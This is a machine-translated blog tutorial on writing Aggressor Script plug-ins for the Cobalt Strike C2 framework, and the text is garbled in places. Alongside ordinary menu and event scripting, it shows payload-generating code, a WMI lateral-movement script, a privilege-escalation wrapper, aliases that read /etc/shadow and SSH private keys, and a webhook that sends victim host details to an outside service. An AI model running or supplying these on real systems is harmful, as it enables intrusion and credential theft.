当前位置:网站首页>Cobaltstrike plug-in writing guide

Cobaltstrike plug-in writing guide

2021-02-04 19:04:41 WgpSec

Statement

The author of this article : The first breakthrough in North America The number of words in this article :13077

Reading time :2 Hours

The attachment / link : Click to view the original download

Statement : Do not use for illegal purposes , Otherwise, we will be responsible for the consequences

This article is from WgpSec Open knowledge base wiki.wgpsec.org

Sleep Construction of environment  

C2:Cobalt Strike, A multiplayer sport tool , The post penetration stage is often used

Aggressor Script: yes C2 3.0 A built-in scripting language for the above version , He is from Sleep Script parsing ,Sleep At present, there is no Chinese version of script in China , Maybe it's because not many people use it , I will translate the language later ; stay CS 3.0 Version above , menu 、 Options 、 event 、 All have default default.cna structure . We can use some IRC、Webhook Docking robots and monitoring , Like brother blind Server Online monitoring , And Taowu and other plug-ins , So this article will explain something based on their code

because Aggressor Script By Sleep Analytic , So we need to install the interpreter of this language first , The language is based on Java Scripting language

Sleep Language download address :http://sleep.dashnine.org/download/sleep.jar

  • Quick to use : java -jar sleep.jar
  • Output hello word: Create a new one cna file ,cna yes Aggressor Scrip Suffix of script , Then write... In it : println("hello word"); And then load it : 

Run the first program

brief introduction  

stay C2 in , We can open it Aggressor Script In the console

Here we can use help Check out some help : 

Here is the introduction :

  • ? Make a simple judgment , The return value is True perhaps False, for example ? int(1) == int(2) Return to False:
  • e Execute the code we wrote , Equivalent to interactive mode , If not  e  It's impossible to execute , for example  e println("hello woed")
  • help This is the reality help message , We used it at the beginning :
  • load load cna Script , Here I load a script : load <cna path>

It's loaded here cna The content is :

It means to create a command The name is w, When the input w Print it when you need it hello word.

  • ls The reality is what we're loading right now cna Code :
  • proff : static cna Script run Sleep The grammar of ( Do not understand the specific role of )
  • profile: Statistics cna What are the scripts using Sleep The grammar of : 
  • pron Turn over : function cna Script run Sleep The grammar of
  • reload: Reload cna Script , Let's take our script for example : I'll revise it first cna The content in : 

On the way to Enter it from the console :

There is no change , Let's run it : 

  • troff: Turn off function tracking , That is, we don't show the details of the function running : 
  • tron: Turn on function tracking , Show the details of our runtime : 

Find out what we're doing , stay 1.cna The third line of , We output hello my friend

  • x: Perform a calculation , such as 1+1 What? , Here we need to pay attention to , The two numbers need to be separated , Otherwise, it will report a mistake :

Using do not carry GUI Of C2 

We can use  agscript  Run one that doesn't use GUI Of C2 client , Simply put, it's a command line operation :

After booting on the server , Input locally :

./agscript [host] [port] [user] [password]

It's just going to give us a suggestion Aggressor In the console , We can keep up in the back cna Configuration file for , At the blind man's Server I've used this thing online : 

In this way, it can be loaded in the cloud cna Don't miss push , If it is loaded locally, it will receive push only when the client is opened

Using this method will give priority to our cna Code , Let's write this one on the server side cna :

on ready {
	println(" The multiplayer operation is ready ! Ready to take off !!!!"); #  Login display information 
}

And then run , Shows our information : 

Sleep Quick start  

Because I am a direct translation of the official document , So I also translate here by the way

  • Numbers
  • character string
  • Arrays
  • Lists
  • Stacks
  • Sets
  • Hashs

This is his data type , The first thing we should pay attention to is , His format must be filled with spaces .

$name = "kris"; #  Naming string variables 
$age = 18; #  Numeric variable naming 

Arrays type :
@user_list = @("kris",18," sichuan "," single "); # Sleep The array of ( list ) Is similar to python The kind of collection of any element , There is no need to unify the types of elements 
										 It's a composite data type .
println(@name_list[0]); #  Subscript output information 
 
Hashs type 
%dict["name"] = "kris";
%dict["age"] = 18;
%dict["address"] = "sichuan"; #  Use % Number creation , A little bit and python The dictionary is similar to 
    
println("Dict is ".%dict);

Arrays 

This will output the elements in the list . The syntax of formatted speech output is to use  .  Splicing .

Hashs 

Traverse  

grammar :

@name_list = @('kris',18,'sichuan');
foreach $var (@name_list)
{
   println($var);
}

Push 

This is similar to our python Medium append Method , Add data to the last side of the list :

@names = @("Hellen","Abao");
push(@names,"kris");


print("name :"[email protected]);

Simple interactive program  

First look at the code :

sub say_hello{
	println("hello ".$1);#  Define a function , Print hello +  The resulting parameters 
}

command N {
	say_hello($1); #  Define an order , And pass the first parameter received to  say_hello function .
}

Running results :

Use defined N command , Pass the first name behind him , Will be output hello + The name you entered , We define N The contents of the command carry the data SAY_hello, So the output is hello + Our name

  • sub Defined function Let's start with how to define functions , stay Sleep in , We use sub Definition of continuous function , For example, we define an addition function : sub add { return $1."+".$2."=".($1 + $2); } $sum = add(1,2); println($sum);

Here we find , There is no output as we expected 1+2=3, Why is that ? We said before ,Sleep It is caused by the strict space requirement , stay  ($1+$2) This place , We don't use spaces correctly , So wrong reporting , We just need to take out their formats : 

So you edit a function

  • command Define the order grammar : command < The order you want > { Executed code ; } Here's how we interact with our custom functions , On the top we use N To carry out say_hello Function body , We only use one now command Play the same role : command N { println("hello ".$1); }

Here's a description , We can write functions directly , You can also call $1  It's the first parameter we've received , And so on :$2 It's the second parameter ......

Color output  

To put it simply, let our console output a colored font :

println("\c0This is my color");
println("\c1This is my color"); #  This is black 
println("\c2This is my color");
println("\c3This is my color");
println("\c4This is my color");
println("\c5This is my color");
println("\c6This is my color");
println("\c7This is my color");
println("\c8This is my color");
println("\c9This is my color");
println("\cAThis is my color");
println("\cBThis is my color");
println("\cCThis is my color");
println("\cDThis is my color");
println("\cEThis is my color");
println("\cFThis is my color");

Cobalt Strike 

C2 client  

stay 3.0 Above version , Most of the things in the client interface are using deafult.cna Built , menu 、 Default button , Including when we go online everyday Event log The formatted output of . Next, let's introduce

Keyboard shortcuts  

grammar :

bind < The key combination you want to bind >
	{
		 Press the shortcut key to perform the naming ;	
	}

Let's bind one to have a try :

bind Ctrl+H {
	show_message(" Use keyboard shortcuts !"); #  Pop up window shows our message 
	elog(" Using shortcut keys !"); #  stay  Event Log Location display information 
}

When we Press down Ctrl + H The key combination of , We just pop up the message , And in the same way as the code Event log Lower output , Key combination can be written at will , You can also = Just write a H, It's all right , add Ctrl It's just a convention , You can also use a pair of modifiers , such as Ctrl + Shift + H.

Menu writing  

The menu is something like this :

We can define the menu we want or add our secondary menu to the existing main menu , The syntax for creating a custom menu is as follows :

popup < Menu function name >{
	        item("&< The secondary menu shows >", { Code to execute when you click , Or functions }); #  First submenu 
        	separator(); # Split line 
        	item("&< Secondary menu name >", { Code to execute when you click , Or functions }); #  Second submenu 
        	separator(); # Split line 
}

menubar(" First level menu display name ", " Menu function name ");

Let's now define a simple menu :

popup my_help{
	item("& This is Baidu ",{url_open("http://www.baidu.com")});
	separator();
	item("& This is Google. ",{url_open("http://www.google.com")}); # url_open() This function is used to open a website 
	
}
menubar(" In the help menu ", "my_help"); #  Menu functions , We must add 

When we click , Will directly open Baidu's link :

If we don't want to create new menus , I want to add... To the default menu , We can do that :

popup help{
	item("& About Sinicization ",{show_message("4.1 Sinicization  by XXX ")});
	separator();
}

In this way, we add a hint about Sinicization on the basis of the original , Here we are loading external cna , You can change the default default.cna To add your own information .

  • Right click menu selection Except for the menu mentioned above , We'll also open the menu when we right-click , As shown below : 

To create such a menu, our syntax is : popup beacon_bottom{ item("& About author ", { url_open("https://wgpsec.org"); }); }

We can nest menus in any menu , It's like a multi-level menu , Let's modify the code above popup beacon_bottom{ menu " About author "{ item("& Blog ", { url_open("https://wgpsec.org"); }); item("&QQ", { show_message("1574991635"); }); } }

Multi level menu is one more menu " Right click to display information "{}  Writing , The biggest difference between here and the menu above is that there is no menubar Writing , Because we modify it directly on the right-click menu , That is, the original menu is modified

Writing of input box  

At some point , We want a whole input box . When you ask the user to enter something , have access to dialog Data model , He needs to accept three parameters

$1  The name of the dialog

$2  The contents of the dialog box , Can write multiple

$3  Callback function , When the user Use dbutton_action Called function

popup test {
	item("& To collect information ",{dialog_test()}); #  Create a menu bar , Click collect information to call show function 
}

menubar(" Test menu ","test"); #  Registration menu 

sub show {
	show_message("dialog The quotation for is :".$1."\n The button name is :".$2);
	println(" User name is :".$3["user"]."\n The password is :".$3["password"]);#  here show Function received dialog The parameters passed in , branch 

}
sub dialog_test {
	$info = dialog(" This is the title of the dialog ",%(username => "root",password => ""),&show); # The first is the name of the menu , The second is the default value of the menu display content we define below , The third parameter is our callback function , Trigger show Function , And pass our input value to him 
	drow_text($info,"user"," enter one user name :"); #  Set up a user name input bar 
	drow_text($info,"password"," Input password "); 
	dbutton_action($info," Take off now !"); #  Click button , Trigger callback function 
	dbutton_help($info,"http://www.wgpsec"); #  Display help information 
	dialog_show($info); #  Display the text input box 
}

Definition diolog When , Will pass the user input to the third parameter setting function ,dialog When passing, three parameters will be passed to the function

$1  by dialog References to

$2  The name of the button

$3 The value entered in the dialog box

drow_text It refers to the input of the text dialog box , The grammar is as follows :

drow_text(" Variable name "," Prompt statement ");

dbutton_action Add action buttons to dialog in , When you click this button , The dialog box is closed , And transfer the data to the callback function

dbutton_action($info," The name of the button ")

dbutton_help take help Button to add to the dialog , Click on help Jump to the web

dbutton_help($info,"https://www.wgpsec.org")

dialog_show Show dialog

Event handling  

Event Log That's what we see all the time , When a host goes online 、 Users log in or leave , Can be displayed on it :

Here I'm using an official example to explain :

set EVENT_SBAR_LEFT { #  Set up  Event Log The information on the left side of the status bar 
	return "[" . tstamp(ticks()) . "] " . mynick()."  It's online !!"; # Information displayed ,tstamp(ticks()) Is the display time .mynick() Show the name here, and I'll add a on-line .
}

set EVENT_SBAR_RIGHT {
	return "[lag: $1 $+ ]";
}

When I modify it and then use it , We found that our status bar changed

Let's give you another example , We know that when a user goes online , Will be in Event log Display inside , But then we may not look obvious , Now when I want to go online , Pop ups tell us who linked to our C2 The server , And modify Event Log Information displayed , Then we can modify event_join:

event_join: Give us two values : $1- Who joined the team server $2- When the news was released

on event_join {
	show_message($1." Join the server !");
	elog(mynick()." coming !");
}

So we know that those people have joined us C2 service , When we use our own cna when , default cna It won't load , Because of the limitation of space , I will give all the support in the future event Write out , Here we can also understand Server Going online is the first line of code to use , When the machine goes online, the code we execute :

Official events :https://www.cobaltstrike.com/aggressor-script/events.html

Data model (Data Model) 

Data model, I feel a bit like some of its own functions , We enter these functions to get the data

C2 All of our data is saved on the server by our server end users , For example, host information 、 data , Download things, etc , So when we join C2 On the server , We can directly save the information saved by other users

Data interface (Data Api)--data_query() 

C2 All the data models in will be translated later , Let me start with a few simple examples

Mode

Function

meaning

targets

Stored target information

Display the online host information

archives

Display recent information

Display the latest output information ( Caution is too laggy. )

beacons

Show all infected hosts information

Show online and online hosts

credentials

Display credential information

The password information we captured and the bill information we made

downloads

Display download information

Display the information we download on the controlled side

keystrokes

Record keyboard input

When we select the process logging keyboard , The keyboard information will be recorded

screenshots

Screenshot display

Binary information flow showing our screenshots

sites

Assets in custody

It looks like we created a listening port Stager Port to connect back to

servers

These data structures above ( It can be understood as a function ) Use them to return the corresponding information , Return... As an array , We can go through Aggressor Script View from the console of , for example :

Subscript index is supported :

The operation of the dictionary can also be :

We could write one cna To get information about the current host :

command info{
    println("IP Address :".targets()[$1]["address"]."\n operating system :".targets()[$1]["os"]."\n user name :".targets()[$1]["name"]);
}

Run view results :

We input 0 and 1 That is to take the corresponding subscript

Of course, we can also modify the output of the data model .

Listeners 

The listener used to show the presence

The listener is what we often use , For reception C2 The flow of the horse and the information written into the load ; When the load is generated, the listener will write the information of a selected listener to , In the second stage , utilize Stager Load our configuration information , If it's a Beacon_HTTP Words , So what's written includes IP、 port 、 Return address and other information , as follows

Listener API Will display all the monitoring information , We can use  Listeners() Show all the information , If we have local monitoring , for example SMB If you're listening , We need to use it  Listeners_local  Display local information , as follows :

So we can display our information , But we can't look at each one in detail Listener Details of , Then we can use Listener_info Function to display all our information

  • Listener_info How to use : listener_info(" The listener information you want to view ")

We can combine the two to display all of the listeners , We put Listeners Get the name to listener_info: command show_info { foreach $name (listeners()) { println("\n== $name Configuration information == "); foreach $key => $value (listener_info($name)) { println("$[10]key : $value"); } } }

above cna After loading, you can get such information

  • Listener_create_ext Create a new listener stay GUI In the interface, we can create , Actually that GUI Creation is also called Listener_create_ext, Create , Here is a parameter we have defined : $1- Listener name  $2- Payload ( for example ,windows / beacon_http / reverse_http) $3- With key / Mapping of value pairs , These keys / The value pair specifies the listener's link information ,host and port etc. $2 The options are : payload type windows/beacon_dns/reverse_dns_txtBeacon DNSwindows/beacon_http/reverse_httpBeacon HTTPwindows/beacon_https/reverse_httpsBeacon HTTPSwindows/beacon_bind_pipeBeacon SMBwindows/beacon_bind_tcpBeacon TCPwindows/beacon_extc2External C2windows/foreign/reverse_httpForeign HTTPwindows/foreign/reverse_httpsForeign HTTPS$3 Options for : KeyDNSHTTP/SSMBTCP(Bind)althost HTTP Host Header bindtobind portbind port beaconsC2 HostsC2 Hosts hoststrging Hoststrging Host portC2 portC2 portpipe nameportprofile profile variant proxy proxy config In this way , We use cna To configure a Beacon HTTP Listening in : grammar : listener_creat_text(" Created name "," Select the payload",%(" Select the payload Parameters to be filled in ")); practice listener_create_ext(" my HTTP monitor ","windows/beacon_http/reverse_http",%(host=>"IP Or domain name ",port=>1080,beacons =>"IP Or domain name ")); printAll(listeners()); println(" Create success !"); Because my port is occupied , I'll delete it first :

And then run cna And look at :

  Successfully created , Our parameters here are not all filled according to any requirements , As usual with us GUI Creation is the same . In the original, I mentioned a Agency problem , I didn't write it here , Because I feel less used

  • Conversational delivery In our daily use , We'll pass the conversation on (Spawn), For example, passing a conversation to MSF in , Or pass it on SMB To other sessions , Here is the source code for this operation : item "&Spawn" { openPayloadHelper(lambda({ binput($bids, "spawn x86 $1"); bspawn($bids, $1, "x86"); }, $bids => $1)); } There are many designs in it Data model , Let's explain one by one .
    • openpayloadHelper: Open up what we have Listener Conversation box :
    • bspawn: Create a new session , You need to deliver a session ID
    popup beacon_bottom{
    	item("& Conversational delivery ",{openPayloadHelper(lambda({
    	bspawn($bid, $1);
  	println(" The monitor we're passing on is ".$1)},# 
        $bid => $1));});
  }

When openpayladhelper Open existing Listener Conversation time , He needs to accept a value , This value is the selected listener , And then pass this value here to bspawn,bsapwn The first value to accept is also the selected listener (bspawn Is to generate a new session ), So here we pass the selected listener to the bspawn You can deliver the conversation , The way this place is written is fixed , Individual will openPayloadHelper It can't be used , however baspwn Yes. , After running the above , We can see $1 Value , You'll find that's the monitor we've chosen :

In this way, we can be regarded as rewriting us Spwan Data model of

In the official menu , It uses  binput, This Data model It's for Becon The command that we execute is shown in , Here is the result of the official writing : 

Stagers 

Stager I can only describe it according to my understanding , It must be different from many masters , For reference only

Stage( Stage ) It's about phases , He has no meaning , It's just this type of , Staged Trojan horse is usually used when we cannot use larger files or commands on the target , Use this method to download our code one by one from the remote end in stages , And then to the controlled section

Stager Finger loader , For example, the following screenshot :

Here we use Stager To ask me to set up URL, So we can put Stager Loaders , Load the remote code ; That's what the official document says :Stager It's a micro program , It can download payloads and receive , Suitable for size limited programs , For example, user driven attacks .

We can adapt to stager The data model prints out our information , To use it, you need to enter two parameters

$1 Listener name

$2  Select the number of digits x86 | x64

We can check it on the console : 

Next is the use of artifact_stager The data model generates our executable , Or other types of Trojans , He needs to accept it 3 Parameters : $1  The name of the monitor

$2  The type of generated file , such as exe

$3  Select the number of digits x86 | x64

Here is $2  Optional parameters for

type

explain

dll

One dll Program

exe

An executable exe Program

powershell

One powershll Execution procedure

python

One python The program

raw

The original document

svcexe

One svc.exe Program

vbscript

Generate Vbs file

We use artifact_stager Generate :

$data = artifact_stager("Tencent", "exe", "x64"); # Choose a monitor 、 Generation type 、 digit 

$handle = openf(">Kris.exe"); #  Generated path , This is under the current execution path 
writeb($handle, $data); #  write in 
closef($handle); #  Close the write , If you don't close it, it's stuck all the time 	

We execute :

And then run the Trojan , See if you can go online :

Can go online , stay GUI This is also used in Data model establish .

Local Stagers 

The local Stager Information

We mentioned above that the listener information is Local and cloud monitors , So for local forward links TCP Listener We can use stager_bind_tcp This data model to see , This data model can only view TCP Type of Stager, He needs to accept three parameters :

$1  We created TCP Monitor name

$2  Number of listeners

$3  The link port of the listener

Let's take a look at our TCP stager Information :

$TcpStager = stager_bind_tcp(" Yours TCP Listener name "," digit ","bind to  port ");
elog($TcpStager);

The measured port has no change :

Named Pipe Stager 

Pipe Stager It's intranet penetration , A loader for a host that cannot be out of the network , He only X86 The choice of , We can use stager_bind_pipe The data model exports the corresponding SMB monitor , The parameters he needs to accept are as follows :

$1  The name of the listener

He only needs this parameter ,CS4.0 Later we will create SMB The link just needs to fill in the listener name , Everything else will be filled in automatically .

$SMB_stager = stager("SMB");
elog($SMB_stager);

Stageless Payloads 

stageless and stageless contrary , It means no stage ;stageless payloads It refers to the load information without stages , We can use payload The data model exports all the information :

$1  The name of the monitor

$2 Machine number x86 | x64

$3  Process name

$data = payload("Tencent", "x64");

$handle = openf(">out.bin");
writeb($handle, $data);
closef($handle);

Saved successfully , And then we can use it hex Open it up and look at the content :

Beacon 

beacon , It is C2 Agent after asynchronous development ( Turn over ...), Personal understanding refers to the online host

Metadata  

C2 In our ( host ) After the beacon goes online , They are assigned a unique conversation ID, This ID It's a random number ,Cobalt Strike Combine the task and metadata with each beacon's ID relation , We can use beacon_ids The data model gets the ID number :

x beacon_ids() # Get all the sessions ID

We can use what we get conversation ID Use beacon_info The data model gets all the data , We will return an array :

x beacon_info(beacon_ids()[0]) # Get all the information 

You can use dictionary operations ,

x beacon_info(beacon_ids()[0])["os"] # obtain os Information 

So we can loop out the conversation ID All the information about :

command show_all {
	foreach $entry (beacons()) { #  Cycle out   conversation ID
		println("== "." conversation ID"."【". $entry['id'] ."】"." The information is as follows "." ==");
		foreach $key => $value ($entry) { #  according to  ID  Take out the corresponding  key and value
			println("$[15]key : $value");
		}
		println();
	}
}

Besides, you can also use beacons The data model returns all the information :

Alias 

We can use Alias by Beacon Add a new alias for , and Aggressor Script equally , We can customize functions or code

He has three parameters :

$0  It's our alias and transport parameters

$1  It's from the current conversation ID

$2-3-4.... The second parameter and beyond , It's us It's the parameter we pass , They are separated by spaces , Let's give you an example :

alias info {
	blog($1," My name is  $2 , This year,  $3  Year old , To live in  $4 ");
}

Be sure to pay attention to the format ! Variables are surrounded by spaces , Otherwise it won't work , as follows :

Reacting to new Beacons 

We can use beacon_initial This event is to perform the operation for our host , Here we set up , When the host goes online, it reads his information , Then pop up the window and tell us ,beacon_initial When triggered, it returns a conversation ID, Only this value will be returned , We can use this conversation ID To read information :

on beacon_initial {
	show_message(" You have a new mainframe online !\n conversation ID by :$1 \nOS by :".beacon_info($1,"os")."\n The intranet address is :".beacon_info($1,"internal")); 
}

Reacting to new DNS Beacons 

But the above way is not suitable for DNS On-line , Because when DNS When the host is online , There is no data interaction , We need to actively switch the data interaction types , Let's try the code above :

It didn't trigger our configuration , So when we change the way he communicates, look at the results :

After switching, we get a response , To solve this problem , We can use beacon_initial_empty The event is getting a DNS Execute the command while beaconing

He and beacon_initial equally , The first parameter is the result of the new beacon conversation ID, Let's write the following code , When DNS When the beacon comes back, we automatically switch the communication mode :

on beacon_initial_empty {
	bmode($1, "dns-txt");
	bcheckin($1);
}

on beacon_initial {
	show_message(" You have a new mainframe online !\n conversation ID by :$1 \nOS by :".beacon_info($1,"os")."\n The intranet address is :".beacon_info($1,"internal")); 
}
  • bmode Data model acceptable 2 Parameters , Used to switch data transmission mode  $1 DNS Beacon conversation ID $2  modify DNS Conversation mode of beacon ( for example dns,dns6 or dns-txt)
  • bcheckin Data model Take a parameter , Used to force the connection back  $1  Beacon conversation ID

The function of the above code implementation is , When our DNS After the beacon is connected back , Switch DNS beacon The way of data collection , And ask for forced connection back , And then print our information , The operation results are as follows :

This solves the problem

beacon_bottom && beacon_top 

Right click on the beacon and add our menu , It's the same as the first operation , Use this beacon_bottom HOOK You can build a beacon Right click options for , This right-click option adds... To the last line , If you want him at the top , We can use beacon_top HOOK Put him on top :

popup beacon_bottom{
	item("& At the bottom ",{});
}

popup beacon_top{
	item(" At the bottom ",{});
}

The Logging Contract 

stay C2 3.0 The above version has a very detailed record of the user's input record , The command executed for each beacon will record the corresponding time stamp and user name ,Cobalt Strike In the client Beacon The console handles these logs , These records are used binput Data model operation , He needs to take in two parameters :

$1  Beacon session ID

$2  stay beacon The information shown in

binput(beacon_ids()[0]," stay beacon The information shown in ");

We have direct output here , We can also change this thing into a command :

binput(beacon_ids()[0],bshell(beacon_ids()[0],"whoami"));

Conquering the Shell 

The official document is here to explain beacon Medium powershell How did the order come from , I don't do translation , But it's official to post it for the document

# powershell  Write the source code 

alias powershell {
	local('$args $cradle $runme $cmd');
	
	# $0 is the entire command with no parsing.
	$args   = substr($0, 11);
	
	# generate the download cradle (if one exists) for an imported PowerShell script
	$cradle = beacon_host_imported_script($1);
	
	# encode our download cradle AND cmdlet+args we want to run
	$runme  = base64_encode( str_encode($cradle . $args, "UTF-16LE") );
	
	# Build up our entire command line.
	$cmd    = " -nop -exec bypass -EncodedCommand \" $+ $runme $+ \"";
	
	# task Beacon to run all of this.
	btask($1, "Tasked beacon to run: $args", "T1086");
	beacon_execute_job($1, "powershell", $cmd, 1);
}

Here is shell Source code :

alias shell {
	local('$args');
	$args = substr($0, 6);
	btask($1, "Tasked beacon to run: $args (OPSEC)", "T1059");
	bsetenv!($1, "_", $args);
	beacon_execute_job($1, "%COMSPEC%", " /C %_%", 0);
}

Privilege Escalation (Run a Command) 

The script source code of privilege promotion

Official ms16-032 Authority promotion writing

# Integrate ms16-032
# Sourced from Empire: https://github.com/EmpireProject/Empire/tree/master/data/module_source/privesc
sub ms16_032_elevator {
	local('$handle $script $oneliner');
	
	# acknowledge this command
	btask($1, "Tasked Beacon to execute $2 via ms16-032", "T1068");
	
	# read in the script
	$handle = openf(getFileProper(script_resource("modules"), "Invoke-MS16032.ps1"));
	$script = readb($handle, -1);
	closef($handle);
	
	# host the script in Beacon
	$oneliner = beacon_host_script($1, $script);
	
	# run the specified command via this exploit.
	bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $2 $+ \"", $oneliner);
}

Privilege Escalation (Spawn a Session) 

The official authority has been upgraded , Create a new session

Source code :

beacon_exploit_register("ms15-051", "Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)", &ms15_051_exploit);

Lateral Movement (Spawn a Session) 

Official horizontal mobile source code

beacon_remote_exploit_register("wmi", "x86", "Use WMI to run a Beacon payload", lambda(&wmi_remote_spawn, $arch => "x86"));
beacon_remote_exploit_register("wmi64", "x64", "Use WMI to run a Beacon payload", lambda(&wmi_remote_spawn, $arch => "x64"));
# $1 = bid, $2 = target, $3 = listener
sub wmi_remote_spawn {
	local('$name $exedata');

	btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3) . ") via WMI", "T1047");

	# we need a random file name.
	$name = rand(@("malware", "evil", "detectme")) . rand(100) . ".exe";

	# generate an EXE. $arch defined via &lambda when this function was registered with
	# beacon_remote_exploit_register
	$exedata = artifact_payload($3, "exe", $arch);

	# upload the EXE to our target (directly)
	bupload_raw!($1, "\\\\ $+ $2 $+ \\ADMIN\$\\ $+ $name", $exedata);

	# execute this via WMI
	brun!($1, "wmic /node:\" $+ $2 $+ \" process call create \"\\\\ $+ $2 $+ \\ADMIN\$\\ $+ $name $+ \"");

	# assume control of our payload (if it's an SMB or TCP Beacon)
	beacon_link($1, $2, $3);
}

The above mentioned Data model and event , It can be found in official documents .

SSH Sessions 

and beacon It's also a beacon , But from Liunx Returned on the host

How to get one online Liunx What about the mainframe ? We can use the official way in the traditional way , Directly in Beacon To link to... In the intranet liunx host , The grammar is as follows :

beacon> ssh <IP>:<port><username><password>

I run one here liunx host , And then we're on the horizontal line :

You can see that we got a liunx host , It's online here Liunx The function of the host is to look better , It can be positioned very quickly liunx The mainframe is made up of windows Through , Others will not be evaluated , Personal feeling can be directly ssh Just log in

When we log in successfully , We can do that Liunx Execute commands on the host , and beacon almost :

In addition to the official way online , We can use Cross C2, Download address :https://github.com/gloxec/CrossC2/releases/tag/v2.1

Official documents :https://gloxec.github.io/CrossC2/zh_cn/

The judgment of conversation type  

When we're on the mainframe , have access to  -isssh  The data model check is Liunx host , It takes a parameter

$1  Beacon session ID, If so, execute the following code or function

Let's judge whether our host is Liunx still Win

command what {
	foreach @ID (beacon_ids()){
		if (-isssh @ID){
			println(@ID."  yes liunx host "."  What is the machine name :".beacon_info(@ID,"computer")."  User name is :".beacon_info(@ID,"user"));
		}
		else{
			println(@ID."  yes windo host  "."  What is the machine name :".beacon_info(@ID,"computer")."  User name is :".beacon_info(@ID,"user"));
		}
		}
}

Run it :

We got our host information

SSH Aliases 

and beacon alias equally , We can also for liunx Host creation SSH Console command , For example, check out our /etc/password:

Below  $1  It's a beacon session ID

ssh_alias hashdump {
	if (-isadmin $1) { #  Determine if it's an administrator , because password Non administrators don't wait to see 
		binput($1," export passwod Of HASH:")
		bshell($1, "cat /etc/shadow");
	}
	else {
		berror($1, " You're not the administrator !!");
	}
}

Of course, you can also write other orders ,bshell The data model is used to execute commands , The parameters he needs are as follows :

$1  Beacon session ID

$2  Commands that need to be executed

Let's check liunx The host SSH Key information :

ssh_alias ssh_demo{
	binput($1," Print SSH Private key information ");
	bshell($1,"cat /root/.ssh/id_rsa");
}

function :

ssh_command_register 

When customizing a ssh command in the future , Only you know this The specific use of the command , When you want everyone to know what this command means , We can use ssh_command_register Data model Display help information , He needs to accept three parameters

$1  Custom commands

$2  Introduction to the order

$3  Help information , It's like telling him how to use it

For example , Now I'll write a command to find the file we want from the root :

ssh_alias find {
	bshell($1,"find / -name $2");
}

ssh_command_register (
	"find",
	" Find the files you want, starting with the root directory ",
	" Usage mode : find test.txt"
);

stay ssh Enter... In the console ? You can see the order and his explanation , Use  help find  You can see how to use this command :

So let's run this :

Reacting to new SSH Sessions 

and beacon equally , When there is a new Liunx When the host is online , What we do , Use ssh_initial Real event trigger , as follows :

on ssh_initial {
	show_message(" There are new ones LIUNX Host online \nIP by ".beacon_info($1,"internal")."\n The host name is :".beacon_info($1,"computer"));

}

fit liunx Right click menu of host computer

popup ssh {
	item " Carry out orders " {
		prompt_text(" Which command do you want to run ?", "w", lambda({
			binput(@ids, "shell $1");
			bshell(@ids, $1);
		}, @ids => $1));
	}
}

Usage and Beacon Basically the same , So let's not go back to

Server It's code analysis  

Source code : Blind fortune teller :http://www.nmd5.com/?p=567

Source code :

#  Loop to get all beacon
on beacon_initial {

    sub http_get {
        local('$output');
        $url = [new java.net.URL: $1];
        $stream = [$url openStream];
        $handle = [SleepUtils getIOHandle: $stream, $null];

        @content = readAll($handle);

        foreach $line (@content) {
            $output .= $line . "\r\n";
        }

        println($output);
    }
    # obtain ip、 Computer name 、 Login account 
    $externalIP = replace(beacon_info($1, "external"), " ", "_");
    $internalIP = replace(beacon_info($1, "internal"), " ", "_");
    $userName = replace(beacon_info($1, "user"), " ", "_");
    $computerName = replace(beacon_info($1, "computer"), " ", "_");

    #get once Server Link to sauce 
    $url = 'https://sc.ftqq.com/ Fill in you here Server Sauce SCKEY code .send?text=CobaltStrike%e4%b8%8a%e7%ba%bf%e6%8f%90%e9%86%92&desp=%e4%bb%96%e6%9d%a5%e4%ba%86%e3%80%81%e4%bb%96%e6%9d%a5%e4%ba%86%ef%bc%8c%e4%bb%96%e8%84%9a%e8%b8%8f%e7%a5%a5%e4%ba%91%e8%b5%b0%e6%9d%a5%e4%ba%86%e3%80%82%0D%0A%0D%0A%e5%a4%96%e7%bd%91ip:'.$externalIP.'%0D%0A%0D%0A%e5%86%85%e7%bd%91ip:'.$internalIP.'%0D%0A%0D%0A%e7%94%a8%e6%88%b7%e5%90%8d:'.$userName.'%0D%0A%0D%0A%e8%ae%a1%e7%ae%97%e6%9c%ba%e5%90%8d:'.$computerName;

    http_get($url);

}

The overall code flow is , Monitor online events , When a new host comes online, we execute the code :

# Monitoring of online events 

on beacon_initial {
	...... #  Code 
}

Then define a request function

    sub http_get {
        local('$output');
        $url = [new java.net.URL: $1]; #  Instantiation URL request ,$1 For the URl
        $stream = [$url openStream];
        $handle = [SleepUtils getIOHandle: $stream, $null];

        @content = readAll($handle);

        foreach $line (@content) {
            $output .= $line . "\r\n";
        }

        println($output);
    }

Will just on line the host's Extranet IP Intranet IP user name Host information extracted , Optimize output

    # obtain ip、 Computer name 、 Login account 
    $externalIP = replace(beacon_info($1, "external"), " ", "_");
    $internalIP = replace(beacon_info($1, "internal"), " ", "_");
    $userName = replace(beacon_info($1, "user"), " ", "_");
    $computerName = replace(beacon_info($1, "computer"), " ", "_");

Finally, format URL The request again

    $url = 'https://sc.ftqq.com/ Fill in you here Server Sauce SCKEY code .send?text=CobaltStrike%e4%b8%8a%e7%ba%bf%e6%8f%90%e9%86%92&desp=%e4%bb%96%e6%9d%a5%e4%ba%86%e3%80%81%e4%bb%96%e6%9d%a5%e4%ba%86%ef%bc%8c%e4%bb%96%e8%84%9a%e8%b8%8f%e7%a5%a5%e4%ba%91%e8%b5%b0%e6%9d%a5%e4%ba%86%e3%80%82%0D%0A%0D%0A%e5%a4%96%e7%bd%91ip:'.$externalIP.'%0D%0A%0D%0A%e5%86%85%e7%bd%91ip:'.$internalIP.'%0D%0A%0D%0A%e7%94%a8%e6%88%b7%e5%90%8d:'.$userName.'%0D%0A%0D%0A%e8%ae%a1%e7%ae%97%e6%9c%ba%e5%90%8d:'.$computerName;

    http_get($url);

This completes a Server sauce Online prompt operation

Here I share a packaged request method from a foreign master :

#
# Safe & sound HTTP request implementation for Cobalt Strike 4.0 Aggressor Script.
# Works with HTTP & HTTPS, GET/POST/etc. + redirections.
#
# Author: Mariusz B. / mgeeky, '20
# <mb [at] binary-offensive.com>
#

import java.net.URLEncoder;
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;


#
# httpRequest($method, $url, $body);
#
sub httpRequest {
    $method = $1;
    $url = $2;
    $body = $3;
    $n = 0;

    if(size(@_) == 4) { $n = $4; }

    $bodyLen = strlen($body);
    $maxRedirectsAllowed = 10;
    if ($n > $maxRedirectsAllowed) {
